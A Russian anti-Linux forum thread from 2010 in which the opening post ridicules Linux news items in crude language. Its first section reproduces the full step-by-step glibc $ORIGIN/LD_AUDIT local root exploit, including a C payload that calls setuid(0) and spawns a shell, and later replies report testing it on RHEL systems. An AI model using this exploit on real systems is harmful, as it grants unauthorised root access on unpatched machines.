Линуксновости: апокалипсис и вырвиглазие в одном флаконе (Страница 1) / Дорога, открытая всем / Форум StopLinux

Объявление

Kwork.ru - услуги фрилансеров от 500 руб.

#1 22-10-10 23:29:43

SemyonKozakov
Журнашлюшка :)
Из Саратов
Зарегистрирован: 28-11-09
Сообщений: 4,109
Сайт

Линуксновости: апокалипсис и вырвиглазие в одном флаконе

В сентябре этого года я уже публиковал TOP 5 новостей из мира OpenSource. Тогда статья вызвала лютые попаболи у абсолютно всех, включая аффтара, админов (всех) и линуксоидов. Бурление говн вышло даже больше ожидаемого, почти 250 комментов символизируют. Но буквально через несколько дней весь этот позор оказался забыт. Хорошая память, не иначе smile

Сегодня, в день годовщины выхода Windows 7, самое время взглянуть, что же творится в мирке линуксоидов. В качестве рассмотрения я возьму несколько новостей о Linux с тематических сайтов (opennet.ru и linux.org.ru). Говномёт приведён в боевое положение, студия затаила дыхание… Мотор!


Дыры, дыры, дыры... (19 октября)

В этот день все линуксоиды одели траур и отставили в сторону своё любимое аниме. Как же так! Только стоило затихнуть серии дыр в ядре, как новый приятный сюрприз - в Glibc обнаружена серьезная уязвимость. Все 13 миллионов компьютеров на базе Linux (так утверждают сами линуксоиды, мы же знаем правду насчёт 1%  big_smile ) оказались уязвимыми! Ведь теперь " обнаружена критическая уязвимость, позволяющая любому локальному пользователю получить привилегии суперпользователя." (с) Opennet. Классно! Я могу пойти в любое место, где есть комп на Linux, и проделать следующее вырвиглазие с целью получения прав рута:

Создаем произвольную директорию:

   $ mkdir /tmp/exploit

Привязываем suid-программу жесткой ссылкой в созданную директорию (при выполнении будет изменен $ORIGIN):

   $ ln /bin/ping /tmp/exploit/target

Открываем для исполняемого файла файловый дескриптор:

   $ exec 3< /tmp/exploit/target

Данный файловый дескриптор должен быть виден в пространстве /proc

   $ ls -l /proc/$$/fd/3
   lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*

Удаляем ранее созданную директорию

   $ rm -rf /tmp/exploit/

В /proc дескриптор остался, но теперь помечен как удаленный:

   $ ls -l /proc/$$/fd/3
   lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)

Заменяем директорию на специально созданный эксплоит (имя директории будет открыто через dlopen):

   $ cat > payload.c
   void __attribute__((constructor)) init()
   {
       setuid(0);
       system("/bin/bash");
   }
   ^D

   $ gcc -w -fPIC -shared -o /tmp/exploit payload.c
   $ ls -l /tmp/exploit
   -rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*

Инициируем динамическое связывание и загрузку $ORIGIN через LD_AUDIT и запуск программы по файловому дескриптору в /proc
   
   $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
   sh-4.1# whoami
   root
   sh-4.1# id
   uid=0(root) gid=500(taviso)

Ну в общем-то не думаю, что особо много компьюьеров удастся похекать - команды замучаешься набирать  smile Но сам факт впечатляет - уязвимости подвержены все компьютеры на базе линукса. Но особо доставляет следующая цитата:

Проблема была известна и ранее, но разработчики Glibc считали, что эксплуатировать ее невозможно.

!!!!!!!!!!!! У меня мата на этих разработчиков не хватает! По факту они знали о наличии уязвимости и даже не зачесались, чтобы её устранить! Это ж [beep]ец какой-то! Дыре хз сколько лет, все всё о ней знают, и всем по[beep]. В том числе и разрабам!

Честно говоря, мне даже страшно представить, что бы творилось в Microsoft, всплыви в продукте дыра такого масштаба. Её бы закрыли за несколько часов, ибо опасность массового заражения огромна. Здесь же - даже не зачесались! "Хочу - исправляю, хочу не исправляю" (с). Это такое опенсорс-будущее. Хорошая реклама Майкрософту, кстати.


Эпохальное событие, бляtь! (19 октября)

Также в этот день произошло эпохальное событие. Масштаб его перекрывает всё! Это ж новая эра, новая революция, новые возможности и прочее, прочее, прочее! Внимание! Вот это событие! Arch Linux перешел на Python 3!!
Вам может показаться, что я брежу? Отнюдь! В самой новости чёрным по белому (или белым по синему, вспоминая ЛОРовское вырвиглазие) написано:

В Arch Linux произошло довольно масштабное, показательное изменение — теперь /usr/bin/python указывает на python3, а любые программы, требующие python2 — на /usr/bin/python2.

Масштабное, показательное изменение! Оцените размах! Замена одной строчки кода возвеличивается средствами массовой линуксизации в целое событие! Жаль, что я не могу увидеть пользователей Arch, с шампанским и девочками отмечающих этот прорыв!

В общем, картина маразма. Маслом и акрарелью.


Супербраузер, просто праздник! (20 октября)
Заголовок новости красноречив и понятен. Итак: Обновление Firefox 3.6.11 и 3.5.14 c устранением 10 уязвимостей.

Текст новости заставил меня содрогнуться не хуже педерачи "Криминальная Россия". Внимание! "В представленном обновлении устранено 10 уязвимостей, из которых 6 имеют статус критических, а две уязвимости помечены как опасные.". Оцените и распишитесь! 6 (ШЕСТЬ) критических уязвимостей!

Я вообще порой [beep]ю с этих разработчиков. Как же они так пишут? Нет, то что идеально безопасного кода не бывает, известно и так. Но ведь бывает же код, в котором если одну уязвимость находят - это уже событие! Например, некоторые корпоративные продукты Microsoft. Это не относится к декстопным продуктам, но и там не бывает такой стиуации - в актуальном релизе ШЕСТЬ критических уязвимостей. Название такому продукту - решето. Где хочешь, там и влезай - благо все форточки открыты.

Пояснение для танкистов: Firefox часто приводят как пример успешного OpenSource продукта. Он выполняется под Linux, находится по умолчанию почти во всех дистрибутивах. Так что настроившимся на Butthurt.fm поясняю ещё раз: это линукс-софт. Вы можете считать иначе, но это так.

В общем, могу только одно сказать - [beep]ец.


Ыстория успеха Linux в играх (20 октября)

Вообще меня радует ЛОР. Вот уж где можно применить выражение СМЛ (средство массовой линуксизации), так это к нему. Новости, публикуемые там, смахивают на геббельсовскую пропаганду - так же красиво и лживо. Вот свежий пример - История успеха: бездисковый игровой клуб на Gentoo

Сейчас я процититрую полный текст новости. Единственная цель этого - показать полное отсутствие конкретики в ней. Читаем:

История успеха интернет клуба в г.Кишиневе построенного на Gentoo состоящего из 80 компьютеров. В подробностях по ссылке кроме подробной истории в деталях о создании интернет кафе есть фотографии и видео работающих бездисковых станций игрового интернет клуба.

>>> Подробности

Всё! За деталями предлагается идти на[beep] в какой-то блог. При этом "кричащий заголовок" привлекает внимание, я просто не мог не прочитать новость! Выводы: либо это пиар бложега, либо это СМЛ в полном его понимании.

Пояснение для танкистов: если какое-либо СМИ кидает заголовки подобного рода, то они обязаны за них отвечать. Выражение "Пруф или пиздобол!" как раз сюда применимо очень хорошо. Иначе может получиться ситуация, когда ложь гуляет по СМИ и завладевает массами (как например здесь)

Выводы делайте сами.


Долгострой всея Руси (21 октября)

Думаю, название ReactOS всем вам знакомо. Знаменитый "клон" Windows, который в состоянии альфы сидит с самого своего рождения и вылезать оттуда не собирается. Однако ж новые версии продолжают выходить, и как раз вчера состоялся релиз. Встречайте! Вышел релиз открытой операционной системы ReactOS 0.3.12.

Изменения радуют. Точнее, они просто загоняют под стол - быстро и надолго. Позволю себе процитировать, чтобы вы убедились - никакой "подставы", всё так и есть  big_smile

Продолжается работа над новым менеджером управления распределением памяти.

Слушайте, рОбят, вы нафей[beep] перепиливаете то, что работает? Или принцип разработки у вас такой: 1) написать фичу 2) отладить её 3) выпилить её на[beep] 4) см. 1? Вы уж сделайте что-то рабочее, а то ваша "пре-альфа" будет тянуться до второго пришествия Христа.

Полностью переработан механизм обработки ловушек (trap), что привело к переписыванию ощутимой части ядра системы. Теперь весь код, обрабатывающий сбои CPU, трапы, исключения и системные вызовы переписан с ассемблера на язык Си. В итоге, код стал более ясным и надежным.

Мда-с... Опять же - зачем ломать то, что работает? Идеальных систем не бывает, и допиливание системы до идеала так и оставит её в вечной альфе. Или для вас процесс важнее? Если так, то скажите и никаких претензий.

Исправлено 259 ошибок, включая более 60 регрессивных изменений, некоторые из которых тянутся еще с релиза ReactOS 0.3.7. Десять ошибок оставались неисправленными на протяжении более трех лет, а одна из ошибок оставалась неисправленной 5 лет.

А вот с этого я [beep]л. Реально. Если честно, я уверен, что даже в ядре Linux столько ошибок не находили, говоря уж о Windows. Мне даже страшно представить, что будет, когда они сделают релиз. Скорее всего, количество ошибок в нём превысит количество строк кода, не иначе  big_smile

Короче, закопайте.


Брейк

Итак, что же в сухом остатке? А в нём огромное количество дыр, "события века", снова дыры, истории "успеха" и мертворождённые долгострои. Это линуксреальность. Подходит ли она вам - решать вам же. Задумайтесь  smile

Редактировался SemyonKozakov (23-10-10 15:13:16)


https://nolinux.w2c.ru - море баттхерта и деаонимизации

Неактивен

#2 22-10-10 23:40:18

USEрдный Rаботник
Гость

Re: Линуксновости: апокалипсис и вырвиглазие в одном флаконе

Хорошую работу как обычно никто не замечает. Вам - респект. cool

#3 22-10-10 23:42:28

bALMER
не мешайте, я творю windows 8
Зарегистрирован: 12-10-10
Сообщений: 436

Re: Линуксновости: апокалипсис и вырвиглазие в одном флаконе

какой большой мух!


Слорознание - первая ступень к успешному эникею!

Неактивен

#4 23-10-10 00:10:26

USEрдный Rаботник
Гость

Re: Линуксновости: апокалипсис и вырвиглазие в одном флаконе

msAVA пишет:

Уязвимыми оказались только дистрибутивы Линукс на пакетной базе Федоры

Вы слышали об одной небольшой компании - https://www.redhat.com/?

msAVA пишет:

Аффтар, что остаётся от твоего высера, если вычеркнуть ложь и не относящиеся к делу "новости"?

Reactos - https://www.linuxcenter.ru/news/#11593 Уважаемый сайт, между прочим. Читать до просветления.

#5 23-10-10 00:19:34

Doppelganger
Участник
Зарегистрирован: 04-07-10
Сообщений: 444

Re: Линуксновости: апокалипсис и вырвиглазие в одном флаконе

Mandriva-oid пишет:

Эпохальное событие, бляtь! (19 августа)

поправь.

По теме - как всегда весело. Спасибо, что порадовали нас вестями с полей!



Ну так головой надо думать. По всякой мелочи чо бы не запустить скрипт? Но вот когда полные мудаки всё предлагают скриптами заебенеть, вот тогда полый пиздец начинается. © selenscy

Неактивен

#6 23-10-10 00:29:46

Tiphon
Участник
Зарегистрирован: 08-07-10
Сообщений: 2,354

Re: Линуксновости: апокалипсис и вырвиглазие в одном флаконе

Круто! Спасибо за обзор!


Квантовая механика - "малопонятный математический курьёз" (с) msAVA - современный учитель.

Неактивен

#7 23-10-10 00:36:47

USEрдный Rаботник
Гость

Re: Линуксновости: апокалипсис и вырвиглазие в одном флаконе

msAVA пишет:

И? Красные -- не единственный дистрибутив Линукса

Уважаемый, я понимаю, что сегодня - тяпница и все такое, но вы упомянули Федору, не? И пакетная база там чья тестируется? Вы уже забыли?

msAVA пишет:

Тля! Слов нет! Аффтар прямо написал: НОВОСТИ ПРО ЛИНУКС!! Не с "линукс-порталов", не "из мира открытого ПО", а про ЛИНУКС. ReactOS -- не Линукс ни разу!

Специально для Вас -

В сентябре этого года я уже публиковал TOP 5 новостей из мира OpenSource

Добавлено спустя 01 мин 46 с:

msAVA пишет:

Аффтар прямо написал: НОВОСТИ ПРО ЛИНУКС!!

Вот нинада...

Добавлено спустя 03 мин 29 с:
И вопрос: почему на Линуксцентре еще и https://www.linuxcenter.ru/shop/solaris/?

Добавлено спустя 05 мин 01 с:
2 Mandriva-oid
ЗачОтный вброс! big_smile

#8 23-10-10 00:47:34

bALMER
не мешайте, я творю windows 8
Зарегистрирован: 12-10-10
Сообщений: 436

Re: Линуксновости: апокалипсис и вырвиглазие в одном флаконе

wr224 пишет:

Красношляпым, центосям и прочим ораклам привет!  big_smile Проверил на 64 битном рхэл 5.4, уязвимость присутствует  lol

свистните, когда появится не локальная уязвимость wink

Редактировался bALMER (23-10-10 00:47:51)


Слорознание - первая ступень к успешному эникею!

Неактивен

#9 23-10-10 00:54:46

Tiphon
Участник
Зарегистрирован: 08-07-10
Сообщений: 2,354

Re: Линуксновости: апокалипсис и вырвиглазие в одном флаконе

Хак проверил. На рхеле 5.5 работает. На 14 федоре - нет.


Квантовая механика - "малопонятный математический курьёз" (с) msAVA - современный учитель.

Неактивен

#10 23-10-10 01:40:07

USEрдный Rаботник
Гость

Re: Линуксновости: апокалипсис и вырвиглазие в одном флаконе

msAVA пишет:

Та пох!
Ещё раз, аффтар не сказал "новости с линукс-ресурсов", "новости про СПО", НЕТ, аффтар прямо сказал: "новости о Линукс"!!!! И солгал. Дважды!

Спокойно! Страсбург - там =====>

#11 23-10-10 01:46:42

Linfan
Linux user
Зарегистрирован: 11-11-09
Сообщений: 1,653

Re: Линуксновости: апокалипсис и вырвиглазие в одном флаконе

Svart Testare пишет:
petrun пишет:

Да полно в винде дыр такого маштаба звкрывают

Линуксвраньё  lol

Сварт, это как, виндовстрансформатор на марше?  wink

Неужели вы только СЛОР читаете?

Добавлено спустя 02 мин 26 с:

Масштабное, показательное изменение! Оцените размах! Замена одной строчки кода возвеличивается средствами массовой линуксизации в целое событие! Жаль, что я не могу увидеть пользователей Arch, с шампанским и девочками отмечающих этот прорыв!

При всем уважении... плз, почитайте, чем Python 3000 отличается от ветки 2.x


"но в отличие от вас не стремлюсь здесь перед всеми показаться умнее всех"
"Ну здесь много мосек, что ж поделаешь."
"народ после общения со мной умнеет что ли, становится более бдительным в сети"
(с) Великий Человек

Неактивен

#12 23-10-10 08:59:58

SemyonKozakov
Журнашлюшка :)
Из Саратов
Зарегистрирован: 28-11-09
Сообщений: 4,109
Сайт

Re: Линуксновости: апокалипсис и вырвиглазие в одном флаконе

msAVA пишет:

АФФТАР! Убей себя об стену!

Не надо кричать, будьте спокойней  smile

msAVA пишет:

Врать не надо! Уязвимыми оказались только дистрибутивы Линукс на пакетной базе Федоры.

Уважаемый чукча-не-читааель, прочитайте новости или

msAVA пишет:

Убей себя об стену!

Linfan пишет:

При всем уважении... плз, почитайте, чем Python 3000 отличается от ветки 2.x

"Одна строчка кода" - это художественный приём, но всё-таки раздувать событие из такого факта...


https://nolinux.w2c.ru - море баттхерта и деаонимизации

Неактивен

#13 23-10-10 09:50:26

Apollo 11
Тролль № 1 (по рейтингу Svart'а Testare)
Из Клоаки
Зарегистрирован: 01-06-10
Сообщений: 1,604
Сайт

Re: Линуксновости: апокалипсис и вырвиглазие в одном флаконе

Mandriva-oid пишет:

"Одна строчка кода" - это художественный приём, но всё-таки раздувать событие из такого факта...

Вот и не раздувай. Если бы ты сидел не на Винде-7, а на Arch'e, то ты бы понимал, к чему эта новость. Подобные новости для Arch'а - не хвастовство нововведениями, а (штормовое) предупреждение. Ибо уже несколько дней после обновления python'а некоторые программы из AUR'а не работают. Что-то подправил руками, на что-то забил. А кто-то просто, прочитав эту новость, не обновляется, а ждёт, пока всё утрясётся. Такое уже было при обновлении libpng 1.2 на 1.4 - трясло весь дистрибутив. Лично мне приходилось откатываться после обновления. Поэтому и вывешивают такие новости, как флаги о штормовом предупреждении :biggrin: Типа, не спешите обновляться - пусть допилят все пакеты. Кстати, надо отдать должное разрабам - проблемы были только с некоторыми пакетами из AUR'а. А из репов ни один пакет не заглючил - сперва всё допилили, и только после этого выложили python3 в стабильный реп из тестинга.
Так что передёргивание этой новости - занятие недостойное даже журнашлюшек.

Неактивен

#14 23-10-10 10:26:41

DonDublon3
Участник
Из Уфа
Зарегистрирован: 06-05-10
Сообщений: 641

Re: Линуксновости: апокалипсис и вырвиглазие в одном флаконе

Mandriva-oid пишет:

Знаменитый "клон" Windows, который в состоянии альфы сидит с самого своего рождения и вылезать оттуда не собирается.

Слышь, чувак. Ты реактос не трожь. В отличие от ядра линукс и сопутствующих вещей, над которыми реально трудятся тысячи людей и мощные корпорации, над реактосом работает всего около 25 человек, причем в свободное от работы время. Ресурсы ну просто несопоставими, а делать надо много. Так что они все равно молодцы. А то, что переписывают (переписывают, а не ломают!)- ну это нормальный рабочий процесс.
Так что не надо, ок?
Хочешь ускорить работу - присоединяйся, работай над тем, что считаешь нужным.
В отличие от линуксоидов, кстати, реактосовцы не орут на каждом углу что скоро булет оригинальнойвендекапец, а просто делают свое дело. Очень большое и сложное, между прочим.


"Фу бля, крохобор вонючий" (с) Svart Testare

Неактивен

Kwork.ru - услуги фрилансеров от 500 руб.
Мой VPS с 2016 года !
✅ Виртуальные от 300 ₽/месяц, RAM 1-10GB, DISK 20-360 GB;
✅ Выделенные от 3000 ₽/месяц. RAM 4-64GB, DISK до 4TB;
✅ Intel Xeon, SSD, XEN, iLO/KVM, Windows/Linux, Администрирование;
✅ Бесплатно Full Backup и Anti-DDoS.





Подвал форума

Под управлением FluxBB
Модифицировал Visman

Яндекс.Метрика